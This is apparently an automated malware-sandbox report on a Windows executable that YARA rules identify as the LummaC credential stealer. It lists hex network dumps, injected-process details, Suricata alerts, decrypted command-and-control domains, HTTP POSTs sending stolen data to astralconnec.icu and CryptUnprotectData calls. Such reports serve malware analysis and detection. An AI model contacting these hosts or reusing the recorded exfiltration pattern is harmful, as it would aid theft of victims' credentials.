2025-03-10 14:34:44 UTC	581	IN	Data Raw: 77 30 c4 ba 61 40 fe c6 0f 8a d9 2c 55 30 f1 65 d1 03 d1 52 5c c0 7c 35 c5 fb 2f d6 22 2f 50 2c 42 cb 99 c7 9b 78 aa cf 8e 98 72 02 f6 de c9 df dc c8 a7 a6 57 ec b5 b2 e5 b4 a6 c1 ad d9 8b be d7 20 68 a5 77 75 e5 9c 2e c3 6e 40 92 8d 8a 5d 28 54 1e ac 83 81 d9 30 9a 30 ce 60 c4 bb c9 31 f9 c2 c1 a6 84 ca 7e 49 63 cb b1 37 ab 0d d2 4e 7d 78 57 74 23 fd 65 9e 32 57 cd 5d c2 c1 9b ae 03 a9 bd d5 d6 d9 01 a5 9d d9 7c ad 96 3f 4c 2e 1c cb e1 19 12 ba 03 32 22 0e 7b 0b 2e 89 53 d2 51 31 ba 56 7e ba 40 b7 68 f9 b9 98 3b e6 a5 4f f2 3a d7 4e 7c 54 f9 88 94 c8 fe 37 23 0e 70 a0 90 e3 8a f0 b1 64 2f 0f 5d fc 8a 92 75 c7 f7 d0 b7 bb da 7a 1f c8 cc 8d ae 00 71 d1 b2 ac c9 db 77 ec d5 91 6d b4 4e 48 25 44 c7 dd 9b eb 50 f5 e7 e9 90 8f 13 d6 77 26 61 1f 30 a0 bd 2c fe Data Ascii: w0a@,U0eR\\|5/"/P,BxrW hwu.n@](T00`1~Ic7N}xWt#e2W]\|?L.2"{.SQ1V~@h;O:N\|T7#pd/]uzqwmNH%DPw&a0,
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: bf 4d fb aa da 4a cd 62 d4 a2 35 e8 bf e7 24 d7 b3 d5 79 56 66 cb 0d df 75 c8 eb 65 31 01 5b d5 7d 25 99 8c 9f 78 b5 5a 4b 12 52 b4 77 f3 0c 5d 02 96 0e 25 df 25 e7 2a 32 69 56 de 0a 7b a4 7d f6 84 96 23 46 c3 39 26 ac 86 07 f6 08 10 73 7a 2d 11 bb f1 3f db c2 b5 f1 21 c4 14 43 f3 93 bb fa df 2c df 80 64 99 04 3d 80 42 8f 9c d7 4b 69 39 ef 2e ba 31 74 dd 29 89 0d ab 43 38 82 37 15 88 a4 29 a9 e9 7d 27 02 92 d0 28 31 a0 29 9d df 12 74 84 9f 8c d9 1b 25 8a a4 ee 1a 2d c4 07 84 d8 70 e8 9f 05 8c 5a e3 e2 2d 0c 8d 4b 2a 3c 73 83 d5 d4 cf 01 08 58 95 c9 0b d3 55 4d 89 56 2d 56 f6 ca b3 8b 1d 1f 87 57 7d 7b f2 e4 f3 5a 01 c1 c6 e6 ae ae f5 8f af 90 0c a4 80 a1 b6 6b 53 4a 45 94 ee 92 2c f3 7e 42 c0 ee a0 42 04 f1 6b c0 b6 26 57 58 fc 62 2f bc 7a 63 48 b4 c6 68 Data Ascii: MJb5$yVfue1[}%xZKRw]%%2iV{}#F9&sz-?!C,d=BKi9.1t)C87)}'(1)t%-pZ-K<sXUMV-VW}{ZkSJE,~BBk&WXb/zcHh
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: 9d 5b 4d 06 fa b1 3a 0a 60 4a 78 01 6a be 0a a2 47 47 53 16 c1 82 f0 0f 31 f0 d5 d4 d4 a3 5c 4c 68 c8 23 07 9c e8 44 2a fd bc f0 ba 94 1a 30 a8 dc b1 2b 75 d6 49 13 e3 68 62 17 bd 82 4d b2 ed 2e bd 98 b5 82 7a 2e 19 94 d8 13 7c 6e 7d b3 e0 49 bd 35 e3 95 09 72 85 b6 16 17 02 0b a7 35 5c 58 1d 54 e0 52 11 92 40 c9 95 7b 9d fa d9 63 41 81 ba be 16 84 b7 d1 a9 a7 30 db e2 18 94 56 60 61 7a 61 d9 23 5c dc c3 d8 22 cc ec 0c 4b c4 f7 4c 05 6b 4f 15 57 9a 70 6f 9f ad bd 3c 59 b3 c9 f0 f4 15 b8 7b c0 65 12 92 77 58 27 9c 49 90 cd 84 b0 13 69 00 e4 43 4c 97 b2 0b 56 c4 c4 53 33 c4 6a 6d 9d 6c c7 fd c2 94 0c 65 b9 7a 0c 55 22 d1 ed 02 48 80 20 67 c5 bc 6a 0e 22 e9 08 84 74 8c d4 d8 81 46 d5 4b 4e 06 d3 17 fa 0d 40 ee 36 a7 3b ab 3a 9a ee 07 53 32 b8 43 ad 65 1d ab Data Ascii: [M:`JxjGGS1\Lh#D*0+uIhbM.z.\|n}I5r5\XTR@{cA0V`aza#\"KLkOWpo<Y{ewX'IiCLVS3jmlezU"H gj"tFKN@6;:S2Ce
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: 35 25 ce cd 55 e6 9a f6 24 76 b5 16 a5 cd 78 9d ff 0d 3d 59 44 a4 0f 56 2a 4a 6e ca f4 94 a3 64 f5 42 46 36 a2 a1 b3 46 12 88 cd ba 6c 3b 39 84 06 97 19 a2 ff 8e fe 40 84 69 b5 82 48 89 9e cf 5b 21 a1 21 49 1b 3f c8 30 3e 21 d0 f3 79 95 d5 81 c5 ad 11 2e e0 b0 75 b4 6e ea 62 a4 39 bf 1f 19 86 ae 84 28 2d 65 e3 6b 0b 6d 06 f1 c9 24 b1 9a e0 b8 95 e2 d5 62 03 43 38 a3 5e 36 84 c2 fc 32 02 b7 ec 60 a8 8e 83 de 23 49 fe cd f4 c9 2e 5f 2c 94 85 3e 4d 9a 34 af d5 48 47 db 5f 2c 45 f2 9d eb 64 e1 9e 82 68 bb 5c d0 09 0b 9f 58 7d e8 5a cd fe 00 c8 ae 5b 85 91 46 c3 ca 2c 7a bb b6 43 6d 44 c8 5d 67 b5 17 26 8e 9f 2b 31 df fd 13 53 50 9a ab 4c b8 4b 56 6c 8b a2 fc d4 ca d4 af 3d 7a ea e6 b7 54 c3 5a 19 11 f4 70 6d ae f3 dc e6 f0 22 f0 63 30 85 fe 0f eb 3c 55 f4 14 Data Ascii: 5%U$vx=YDV*JndBF6Fl;9@iH[!!I?0>!y.unb9(-ekm$bC8^62`#I._,>M4HG_,Edh\X}Z[F,zCmD]g&+1SPLKVl=zTZpm"c0<U
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: 34 4d ef 00 39 93 b0 21 e9 53 ec d7 a9 a0 bb a0 cb ee b2 9b 2c ca 3c ec 2e 9c bf ff 4a c0 14 88 43 03 6d c4 3a 89 d1 45 20 c7 c3 53 44 42 a6 8c 6c 56 d6 9b 83 30 f0 7a 4c db d8 a1 ae bf bd 97 80 bf ad 90 45 7c f3 38 ae 79 c5 0f bf 72 6d fc 28 49 23 da df 7c ce 43 55 ca 81 cf b4 3c e9 f5 ae f9 0b b7 71 64 a5 02 29 2c ba ad 14 f9 b4 26 dc eb 85 11 a3 bd dd d9 48 c1 c0 70 f6 82 85 98 34 a3 3d b9 d8 22 80 85 1d f7 07 77 58 97 08 ef 93 be ab c2 a7 0c 55 31 a8 f9 12 4b 4f 15 34 c5 e4 04 27 fe 1a 18 89 6a c9 df 6a 1c 8e 46 10 4c 22 33 70 ac 40 3a 61 18 10 ff 99 55 28 81 f1 ac eb 6d 11 0d f7 65 69 d4 6e 9a 0e 21 64 13 bd 15 ec 15 38 50 ea 89 87 21 53 ce 7e 17 60 79 cf 67 a2 1b 39 a8 0e 90 df b0 8f 1d f6 3b 9c f4 33 48 0a 5e 23 fa 86 59 5a 13 be 26 eb 34 4a 2b 92 Data Ascii: 4M9!S,<.JCm:E SDBlV0zLE\|8yrm(I#\|CU<qd),&Hp4="wXU1KO4'jjFL"3p@:aU(mein!d8P!S~`yg9;3H^#YZ&4J+
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: 37 1e 93 95 88 d2 cd a2 98 e4 27 e5 ab bc d9 9d 9e 0d 96 18 33 5d 17 06 49 f7 2d 35 9b 34 d1 6f ec 4e eb a6 cb 37 13 f2 8e 18 a8 e1 44 28 39 79 bd ab 92 e0 16 4d 38 2f e1 48 89 55 4f b5 77 fb b7 e0 b8 90 4f e1 1a 07 c0 ba 77 32 49 91 42 71 cc 81 87 f2 f1 b2 e4 a2 1e 3d b9 ac 4e 2d 54 92 2b a1 2e 7a a8 b7 d3 a2 a0 f2 48 15 75 69 7d eb 5e dd c2 8c 15 91 40 e9 80 0d ae 91 6e af cb 42 b2 5a 15 da 6a 4e 3b c6 5b e9 e2 a3 1b ad 75 db 1e 9a c1 76 58 60 e6 dc fc ab cd be aa 60 15 fb 34 84 56 4f 0d 21 5e 4d b2 31 34 95 85 1b 90 dc 9f b8 60 b3 7b ad 54 1e b0 3d bd 32 d3 e4 eb 18 11 db 07 95 c6 63 e7 26 f1 2f 49 56 93 3d e0 a2 ff 3a d2 da c6 66 ba 93 71 ad da ff 64 c9 16 d2 ca d4 93 8c 18 d4 b9 d8 cd d6 5b b7 ad 01 36 0c bc 67 7b fb 25 a3 7c 76 40 55 5c 8e f0 46 a9 Data Ascii: 7'3]I-54oN7D(9yM8/HUOwOw2IBq=N-T+.zHui}^@nBZjN;[uvX``4VO!^M14`{T=2c&/IV=:fqd[6g{%\|v@U\F
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: 2f 6b c9 e9 1e 09 e8 0b ba 9f d2 b1 a8 0f d8 c2 61 68 4c 7d 93 b9 20 14 79 8d 63 38 52 f5 cd 16 62 62 48 f5 f9 68 2f 88 0a f3 b2 6f 00 85 c6 16 72 ce 5d 5b 8b 08 11 9d d2 66 a5 e3 2b bb c5 cc be ff e5 d8 c6 da 32 0c 16 a1 2d d6 ca a8 57 c0 18 f9 8d 7a a2 cf 15 30 53 f9 b7 fc 47 35 bf 37 9a f2 4d ec b7 2c cf 8c 16 fc 89 9d 57 2d e8 d2 6e ab c1 23 32 ac e8 6f 7e be 46 fa ab a4 5d a2 30 32 b6 e7 1f 34 13 fa ae 04 b8 57 b9 c2 85 f2 87 a1 59 de ed c1 d9 cf 9c f9 44 93 53 ed be 29 91 7b cb fc fc 8a 25 57 bf 41 74 c3 4f 8a f2 8a 0f 25 0f ac 3d 5d e7 56 80 33 e9 d9 66 93 67 dd 7c 44 1a ac 94 9d 97 35 35 c6 83 28 2a 07 5a c8 b5 cf 23 f8 a7 61 41 6e 0b 0c e7 12 99 ce 94 80 99 5f 2b ab 40 54 c7 d8 2d 5a 1e 4f e3 70 1f 67 53 c4 24 20 b4 d5 b1 a9 f4 d4 d5 a2 0b 7d eb Data Ascii: /kahL} yc8RbbHh/or][f+2-Wz0SG57M,W-n#2o~F]024WYDS){%WAtO%=]V3fg\|D55(*Z#aAn_+@T-ZOpgS$ }
2025-03-10 14:34:44 UTC	1369	IN	Data Raw: 82 8e f9 fb aa 5f 33 f3 04 5d ed 67 6c 0c cc 56 b5 08 77 de 02 11 d1 6a 14 c1 5b 78 39 63 6d 15 78 12 90 7e d5 4a d5 2a 9c c6 02 33 1a 8b 39 b4 cc 20 47 9e b9 be 3e 5c 6c 0c d7 a7 f0 f9 b0 94 1e b0 e6 4f 9e 0d 96 ad 93 90 af 64 61 93 44 88 3d eb 5f 03 17 29 76 28 1d 34 87 c7 95 78 27 30 33 37 65 db 61 4f c4 b9 5f c4 d2 ef 76 ac 62 12 f1 c3 15 b1 ea a6 df e6 72 a0 b1 c3 2d 09 97 64 9e ba 07 6d 2e 96 03 6b 0a 39 c6 2f 66 d5 ee 5c a3 6d 96 bc d2 76 9b f2 1d 46 9a 34 ca 7e 8f 5f b9 7c 85 42 3d c9 38 39 1a b1 09 2b 4f 91 c1 cb cb 15 76 8b ad 24 11 ed f6 a5 de 29 c2 e9 8f cb a0 5d 6f ab 83 93 3e 50 74 06 87 64 0d d5 63 30 dc f8 52 86 c3 5f 51 c3 6c 8b 86 99 66 5c 3a bf 8a 81 b3 91 f6 0f d9 4e 67 7e f5 ba 03 2a 4f 89 94 0e e5 d3 c6 48 d1 26 63 bc 83 b8 76 65 9e Data Ascii: _3]glVwj[x9cmx~J39 G>\lOdaD=_)v(4x'037eaO_vbr-dm.k9/f\mvF4~_\|B=89+Ov$)]o>Ptdc0R_Qlf\:Ng~OH&cve
2025-03-10 14:34:44 UTC	291	IN	Data Raw: 7c a0 db 40 fd fc 2b 3e 9c d2 61 07 1b 0d 3f b5 e9 78 52 48 dd 13 ec db 80 ef 40 58 8f 4f 00 d5 da 6b 71 42 a7 f2 7c 9f 77 04 69 60 46 b2 49 9d 58 53 cf 2d e6 ba 67 cc 51 85 96 74 60 1c e2 a2 2e 83 2b 6e 44 cf 41 6d 28 60 07 7b 7b d8 ef 89 93 f6 5e 65 33 a2 78 40 75 b1 ae 6d ae 35 7c a6 79 c1 8c 9d 51 30 c2 7e af 48 ad 27 47 0f b0 9f c1 bf 80 3e d2 30 e8 b5 6a fd 6a 43 8e c9 a6 9b 86 45 4c ea ac 17 e4 f2 41 bc 51 a0 00 45 f8 65 97 82 c5 4a 6e 03 41 87 a9 7b f7 24 7f d6 5e e1 78 b6 2c 1f f2 92 62 41 fe 31 bf 6b 82 9a cf 46 67 d0 7d 26 b3 e3 d9 58 d5 20 22 6d 24 63 7e c1 94 70 4a 01 29 6b 65 5f ab 7e 4a 16 bf d4 bb 2e 9e ef 18 b8 b6 9c 90 80 9f ed 64 3b ab 8b ce 20 c7 df 9a 1d aa a7 ba 46 2e b4 f0 7c 3d f2 5e af 31 e6 b9 10 bc 3b b0 e2 93 56 e2 e5 08 a7 c8 Data Ascii: \|@+>a?xRH@XOkqB\|wi`FIXS-gQt`.+nDAm(`{{^e3x@um5\|yQ0~H'G>0jjCELAQEeJnA{$^x,bA1kFg}&X "m$c~pJ)ke_~J.d; F.\|=^1;V

Target ID:	0
Start time:	10:33:22
Start date:	10/03/2025
Path:	C:\Users\user\Desktop\External2.4.exe1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\External2.4.exe1.exe"
Imagebase:	0x90000
File size:	6'304'256 bytes
MD5 hash:	2827BD97BB778245FCCFF32AB3F8F69C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1935302584.0000000009E5A000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1740451974.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1935408641.0000000009F68000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1935408641.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:33:55
Start date:	10/03/2025
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x780000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2192234962.00000000029FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2192860867.0000000002A02000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2192395641.0000000002A01000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2251312995.0000000002A02000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Source: https://astralconnec.icu/DPowkodr	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/DPowkoS	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/DPowko	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu:443/DPowkoq6	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/DPowkod	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/DPowkoT	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu:443/DPowko	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu:443/DPowkoZ6	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/DPowkoh	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/F	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu/DPowkoo	Avira URL Cloud: Label: malware
Source: https://astralconnec.icu:443/DPowkot6	Avira URL Cloud: Label: malware

Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49749 -> 149.154.167.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49752 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49755 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49757 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49761 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49760 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49759 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49753 -> 104.21.77.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.12:49758 -> 104.21.77.86:443

Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 65Host: astralconnec.icu
Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=g6kL6cBN6edUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14500Host: astralconnec.icu
Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dAV3vkHF7nOsEb38User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: astralconnec.icu
Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=lfQ1EQtLpgB7ub8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20240Host: astralconnec.icu
Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=g72N37tIE06FDB118yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2347Host: astralconnec.icu
Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YP9t4ZR8fU6vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 591336Host: astralconnec.icu
Source: global traffic	HTTP traffic detected: POST /DPowko HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 103Host: astralconnec.icu

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: astralconnec.icu

Source: External2.4.exe1.exe	Virustotal: Detection: 52%			Perma Link
Source: External2.4.exe1.exe	ReversingLabs: Detection: 44%

Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: astralconnec.icu/DPowko
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: begindecafer.world/QwdZdf
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: garagedrootz.top/oPsoJAN
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: modelshiverd.icu/bJhnsj
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: arisechairedd.shop/JnsHY
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: catterjur.run/boSnzhu
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: orangemyther.live/IozZ
Source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp	String decryptor: fostinjec.today/LksNAz

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DD96C CryptUnprotectData,		3_2_004DD96C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004DE9F0 CryptUnprotectData,		3_2_004DE9F0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], bx	3_2_0050E170
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	3_2_004DA2E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	3_2_004DA2E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-4122E202h]	3_2_004E0BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebx+ebp+44h]	3_2_004E0BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], A566C0CEh	3_2_004E0BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+08h]	3_2_0050DBA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5F115B3Dh	3_2_0050DBA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-15D9C8C3h]	3_2_00504CE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, di	3_2_004F04A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add ebp, ecx	3_2_004F04A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], A18B8074h	3_2_004D0DA6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	3_2_0050CE50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], ax	3_2_0050AEA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_004D1786
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+ecx*8], edx	3_2_0050CF80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [edi], esi	3_2_004C1040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebp, word ptr [ecx]	3_2_0050D800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	3_2_004F18D8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+eax+00h]	3_2_005068CF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_004E308F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [eax+ecx+02h], 0000h	3_2_004E308F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7FFFFFFFh]	3_2_0050B880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-42h]	3_2_004DD11E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	3_2_004EA120
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	3_2_004C19E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0Ah]	3_2_004E218F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax]	3_2_004F4194
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0FF9F542h]	3_2_0050A1AD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, ax	3_2_004F0208
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004CC200
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	3_2_004C8A20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	3_2_004DA220
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004F6AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax-4122E20Ah]	3_2_004D22E7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 9F1F8F53h	3_2_00509290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4122E20Eh]	3_2_00509290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edi]	3_2_00509290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-20h]	3_2_004E3A8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_004CA290
